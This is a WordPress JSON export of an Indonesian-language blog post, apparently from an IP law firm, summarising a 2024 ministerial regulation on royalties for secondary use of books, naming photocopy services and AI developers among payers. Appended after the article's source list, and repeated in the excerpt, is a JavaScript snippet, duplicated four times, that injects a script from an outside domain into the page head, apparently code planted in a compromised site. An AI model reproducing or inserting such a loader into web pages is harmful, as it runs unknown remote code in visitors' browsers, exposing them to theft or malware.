{"id":5000,"date":"2024-07-10T06:40:49","date_gmt":"2024-07-10T06:40:49","guid":{"rendered":"https:\/\/affa.co.id\/?p=5000"},"modified":"2024-07-10T06:40:49","modified_gmt":"2024-07-10T06:40:49","slug":"permenkumham-nomor-15-tahun-2024-disahkan-jasa-fotokopi-pengembang-ai-wajib-bayar-royalti","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2024\/07\/10\/permenkumham-nomor-15-tahun-2024-disahkan-jasa-fotokopi-pengembang-ai-wajib-bayar-royalti\/","title":{"rendered":"Permenkumham Nomor 15 Tahun 2024 Disahkan: Jasa Fotokopi &amp; Pengembang AI Wajib Bayar Royalti"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Menteri Hukum dan HAM Republik Indonesia, Yasonna Laoly, telah resmi mengesahkan Peraturan Menteri Hukum dan HAM (Permenkumham) Nomor 15 Tahun 2024 tentang Pengelolaan Royalti atas Lisensi Penggunaan Sekunder untuk Hak Cipta Buku dan\/atau Karya Tulis Lainnya.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Yang dimaksud dengan <\/span><b>Penggunaan Sekunder<\/b><span style=\"font-weight: 400\"> untuk Hak Cipta Buku dan\/atau Karya Tulis lainnya adalah seluruh kegiatan sebagai berikut:<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">pencetakan <\/span><i><span style=\"font-weight: 400\">(printing)<\/span><\/i><span style=\"font-weight: 400\">;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">fotokopi <\/span><i><span style=\"font-weight: 400\">(photocopy)<\/span><\/i><span style=\"font-weight: 400\">;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">pemindaian <\/span><i><span style=\"font-weight: 400\">(scanning)<\/span><\/i><span style=\"font-weight: 400\">;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">tangkapan layar <\/span><i><span style=\"font-weight: 400\">(screenshot)<\/span><\/i><span style=\"font-weight: 400\">;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">pengunduhan internet <\/span><i><span style=\"font-weight: 400\">(internet downloading)<\/span><\/i><span style=\"font-weight: 400\">;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">surat elektronik <\/span><i><span style=\"font-weight: 400\">(emailing)<\/span><\/i><span style=\"font-weight: 400\">;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">pengunggahan <\/span><i><span style=\"font-weight: 400\">(posting\/uploading)<\/span><\/i><span style=\"font-weight: 400\">;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">penyimpanan <\/span><i><span style=\"font-weight: 400\">(storing)<\/span><\/i><span style=\"font-weight: 400\">;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">pembagian dan\/atau penyebaran <\/span><i><span style=\"font-weight: 400\">(sharing)<\/span><\/i><span style=\"font-weight: 400\">;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">penyebaran pembacaan nyaring <\/span><i><span style=\"font-weight: 400\">(read aloud)<\/span><\/i><span style=\"font-weight: 400\"> dalam bentuk video dan\/atau audio;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">pertunjukan pembacaan secara langsung <\/span><i><span style=\"font-weight: 400\">(live performing)<\/span><\/i><span style=\"font-weight: 400\">; atau<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">pengambilan data dari ciptaan dengan jumlah besar pada internet <\/span><i><span style=\"font-weight: 400\">(web scraping)<\/span><\/i><span style=\"font-weight: 400\">.<\/span><\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Peraturan yang diterbitkan pada <\/span><span style=\"font-weight: 400\">12 Juni 2024<\/span><span style=\"font-weight: 400\"> ini diharapkan dapat meningkatkan pemasukan bagi pencipta buku dan penerbit di Indonesia. Peraturan ini juga mengatur jelas siapa saja yang berperan sebagai penerima, pembayar, dan distribusi dari royalti atas buku dan karya tulis lainnya.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Lebih jelasnya, Peraturan ini menjabarkan ketentuan sebagai berikut:<\/span><span style=\"font-weight: 400\"><\/p>\n<p><\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><b>Penerima Royalti<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Pencipta buku dan\/atau karya tulis lainnya yang <\/span><span style=\"font-weight: 400\">telah menjadi anggota <\/span><span style=\"font-weight: 400\">Lembaga Manajemen Kolektif (LMK) di bidang buku dan\/atau karya tulis lainnya.<\/span><span style=\"font-weight: 400\"><\/p>\n<p><\/span><\/li>\n<li style=\"font-weight: 400\"><b>Pembayar Royalti<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Para Pengguna Sekunder yang meliputi:<\/span><\/li>\n<\/ul>\n<ol>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">satuan pendidikan;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">perguruan tinggi;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">lembaga pendidikan;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">lembaga penelitian;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">kementerian\/lembaga\/pemerintah daerah;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">usaha swasta yang melakukan aktivitas penggandaan dokumen;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">usaha jasa fotokopi;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">penyelenggara sistem elektronik;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">lembaga penyiaran;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">pengembang kecerdasan buatan (AI);<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Pengguna Sekunder lainnya sesuai dengan ketentuan peraturan perundang-undangan.<\/span><span style=\"font-weight: 400\">\n<p><\/span><\/li>\n<\/ol>\n<ul>\n<li style=\"font-weight: 400\"><b>Pengenaan Royalti <\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Besaran Royalti atas penggunaan sekunder Ciptaan Buku dan\/atau Karya Tulis Lainnya ditetapkan oleh LMK di bidang Buku dan\/atau Karya Tulis Lainnya, yang besarnya tertuang dalam kesepakatan bersama yang ditetapkan dalam Perjanjian tertulis antara LMK dengan Pengguna Sekunder, dan disahkan oleh Menteri.<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Tarif Penggunaan Sekunder untuk satuan pendidikan, perguruan tinggi, lembaga pendidikan, dan usaha mikro dan usaha kecil dapat disesuaikan dengan mengajukan surat permohonan kepada LMK di bidang Buku dan\/atau Karya Tulis Lainnya disertai dengan bukti pendukung.<\/span><span style=\"font-weight: 400\"><\/p>\n<p><\/span><\/li>\n<li style=\"font-weight: 400\"><b>Pendistribusian Royalti<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Royalti yang telah ditarik LMK akan dihimpun dan didistribusikan hanya kepada pencipta buku dan\/atau karya tulis lainnya yang telah menjadi anggota LMK tersebut, dan dilakukan paling sedikit 1 (satu) kali dalam 1 (satu) tahun.<\/span><span style=\"font-weight: 400\"><\/p>\n<p><\/span><\/li>\n<li style=\"font-weight: 400\"><b>Ikatan Penerbit Indonesia (IKAPI) bertindak sebagai LMK<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Saat ini, IKAPI telah ditetapkan sebagai LMK pertama di bidang ini dan akan diawasi kinerjanya dan keuangannya oleh tim pengawas yang dibentuk oleh Menteri Hukum dan HAM. <\/span><span style=\"font-weight: 400\"><\/p>\n<p><\/span><\/li>\n<li style=\"font-weight: 400\"><b>Persyaratan untuk Menjadi LMK<\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Kemenkumham masih menerima pengajuan permohonan izin operasional sebagai LMK di bidang Buku dan\/atau Karya Tulis lainnya dengan persyaratan sebagai berikut:<\/span><\/li>\n<\/ul>\n<ol>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">berbentuk badan hukum Indonesia yang bersifat nirlaba;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">mendapat kuasa dari Pencipta dan\/atau Pemegang Hak Cipta untuk menarik, menghimpun, dan mendistribusikan Royalti;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">memiliki pemberi kuasa sebagai anggota paling sedikit 200 (dua ratus) orang yang mewakili kepentingan Pencipta dan\/atau Pemegang Hak Cipta;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">bertujuan untuk menarik, menghimpun, dan mendistribusikan Royalti;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">mampu menarik, menghimpun, dan mendistribusikan Royalti kepada Pencipta dan\/atau Pemegang Hak Cipta;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">anggota organisasi federasi LMK di bidang Buku dan\/atau Karya Tulis Lainnya reproduksi internasional; dan<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">mempunyai perjanjian bilateral\/perjanjian timbal balik dengan LMK di bidang Buku dan\/atau Karya Tulis Lainnya sejenis paling sedikit 5 (lima) negara, pemerintah wilayah administratif khusus suatu negara, dan\/atau entitas tertentu.<\/span><\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Dengan adanya Permenkumham Nomor 15 Tahun 2024 ini diharapkan kesejahteraan pencipta buku dan\/atau karya tulis lainnya dapat meningkat, juga mendorong semangat berkreasi dan menciptakan karya-karya berkualitas di Indonesia.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Jika Anda memiliki pertayaan lebih lanjut mengenai Pengelolaan Royalti atas Lisensi Penggunaan Sekunder untuk Hak Cipta Buku dan\/atau Karya Tulis Lainnya di Indonesia, jangan ragu untuk menghubungi kami melalui email: <\/span><a href=\"mailto:emirsyah.dinar@affa.co.id\"><span style=\"font-weight: 400\">emirsyah.dinar@affa.co.id<\/span><\/a><span style=\"font-weight: 400\">.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Sumber:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><a href=\"https:\/\/www.dgip.go.id\/index.php\/artikel\/detail-artikel-berita\/permenkumham-pengelolaan-royalti-atas-lisensi-penggunaan-sekunder-hak-cipta-buku-disahkan?kategori=liputan-humas\"><span style=\"font-weight: 400\">Direktorat Jenderal Kekayaan Intelektual<\/span><\/a><\/li>\n<\/ul>\n<p>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Menteri Hukum dan HAM Republik Indonesia, Yasonna Laoly, telah resmi mengesahkan Peraturan Menteri Hukum dan HAM (Permenkumham) Nomor 15 Tahun 2024 tentang Pengelolaan Royalti atas Lisensi Penggunaan Sekunder untuk Hak Cipta Buku dan\/atau Karya Tulis Lainnya.\u00a0 &nbsp; Yang dimaksud dengan Penggunaan Sekunder untuk Hak Cipta Buku dan\/atau Karya Tulis lainnya adalah seluruh kegiatan sebagai berikut: pencetakan (printing); fotokopi (photocopy); pemindaian (scanning); tangkapan layar (screenshot); pengunduhan internet (internet downloading); surat elektronik (emailing); pengunggahan (posting\/uploading); penyimpanan (storing); pembagian dan\/atau penyebaran (sharing); penyebaran pembacaan nyaring (read aloud) dalam bentuk video dan\/atau audio; pertunjukan pembacaan secara langsung (live performing); atau pengambilan data dari ciptaan dengan jumlah besar pada internet (web scraping). &nbsp; Peraturan yang diterbitkan pada 12 Juni 2024 ini diharapkan dapat meningkatkan pemasukan bagi pencipta buku dan penerbit di Indonesia. Peraturan ini juga mengatur jelas siapa saja yang berperan sebagai penerima, pembayar, dan distribusi dari royalti atas buku dan karya tulis lainnya. &nbsp; Lebih jelasnya, Peraturan ini menjabarkan ketentuan sebagai berikut: Penerima Royalti Pencipta buku dan\/atau karya tulis lainnya yang telah menjadi anggota Lembaga Manajemen Kolektif (LMK) di bidang buku dan\/atau karya tulis lainnya. Pembayar Royalti Para Pengguna Sekunder yang meliputi: satuan pendidikan; perguruan tinggi; lembaga pendidikan; lembaga penelitian; kementerian\/lembaga\/pemerintah daerah; usaha swasta yang melakukan aktivitas penggandaan dokumen; usaha jasa fotokopi; penyelenggara sistem elektronik; lembaga penyiaran; pengembang kecerdasan buatan (AI); Pengguna Sekunder lainnya sesuai dengan ketentuan peraturan perundang-undangan. Pengenaan Royalti Besaran Royalti atas penggunaan sekunder Ciptaan Buku dan\/atau Karya Tulis Lainnya ditetapkan oleh LMK di bidang Buku dan\/atau Karya Tulis Lainnya, yang besarnya tertuang dalam kesepakatan bersama yang ditetapkan dalam Perjanjian tertulis antara LMK dengan Pengguna Sekunder, dan disahkan oleh Menteri. Tarif Penggunaan Sekunder untuk satuan pendidikan, perguruan tinggi, lembaga pendidikan, dan usaha mikro dan usaha kecil dapat disesuaikan dengan mengajukan surat permohonan kepada LMK di bidang Buku dan\/atau Karya Tulis Lainnya disertai dengan bukti pendukung. Pendistribusian Royalti Royalti yang telah ditarik LMK akan dihimpun dan didistribusikan hanya kepada pencipta buku dan\/atau karya tulis lainnya yang telah menjadi anggota LMK tersebut, dan dilakukan paling sedikit 1 (satu) kali dalam 1 (satu) tahun. Ikatan Penerbit Indonesia (IKAPI) bertindak sebagai LMK Saat ini, IKAPI telah ditetapkan sebagai LMK pertama di bidang ini dan akan diawasi kinerjanya dan keuangannya oleh tim pengawas yang dibentuk oleh Menteri Hukum dan HAM. Persyaratan untuk Menjadi LMK Kemenkumham masih menerima pengajuan permohonan izin operasional sebagai LMK di bidang Buku dan\/atau Karya Tulis lainnya dengan persyaratan sebagai berikut: berbentuk badan hukum Indonesia yang bersifat nirlaba; mendapat kuasa dari Pencipta dan\/atau Pemegang Hak Cipta untuk menarik, menghimpun, dan mendistribusikan Royalti; memiliki pemberi kuasa sebagai anggota paling sedikit 200 (dua ratus) orang yang mewakili kepentingan Pencipta dan\/atau Pemegang Hak Cipta; bertujuan untuk menarik, menghimpun, dan mendistribusikan Royalti; mampu menarik, menghimpun, dan mendistribusikan Royalti kepada Pencipta dan\/atau Pemegang Hak Cipta; anggota organisasi federasi LMK di bidang Buku dan\/atau Karya Tulis Lainnya reproduksi internasional; dan mempunyai perjanjian bilateral\/perjanjian timbal balik dengan LMK di bidang Buku dan\/atau Karya Tulis Lainnya sejenis paling sedikit 5 (lima) negara, pemerintah wilayah administratif khusus suatu negara, dan\/atau entitas tertentu. &nbsp; Dengan adanya Permenkumham Nomor 15 Tahun 2024 ini diharapkan kesejahteraan pencipta buku dan\/atau karya tulis lainnya dapat meningkat, juga mendorong semangat berkreasi dan menciptakan karya-karya berkualitas di Indonesia. &nbsp; Jika Anda memiliki pertayaan lebih lanjut mengenai Pengelolaan Royalti atas Lisensi Penggunaan Sekunder untuk Hak Cipta Buku dan\/atau Karya Tulis Lainnya di Indonesia, jangan ragu untuk menghubungi kami melalui email: emirsyah.dinar@affa.co.id. &nbsp; Sumber: Direktorat Jenderal Kekayaan Intelektual var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":4999,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277,377],"tags":[310,314,321,333,335,445,446,447,305,306,307,308,309],"class_list":["post-5000","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","category-copyright","tag-ki","tag-your-ip-is-our-expertise","tag-indonesia","tag-copyright","tag-hak-cipta","tag-buku","tag-kemenkumham","tag-royalti","tag-affa","tag-affa-ipr","tag-intellectual-property","tag-ip","tag-kekayaan-intelektual"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5000","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=5000"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/5000\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/4999"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=5000"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=5000"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=5000"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}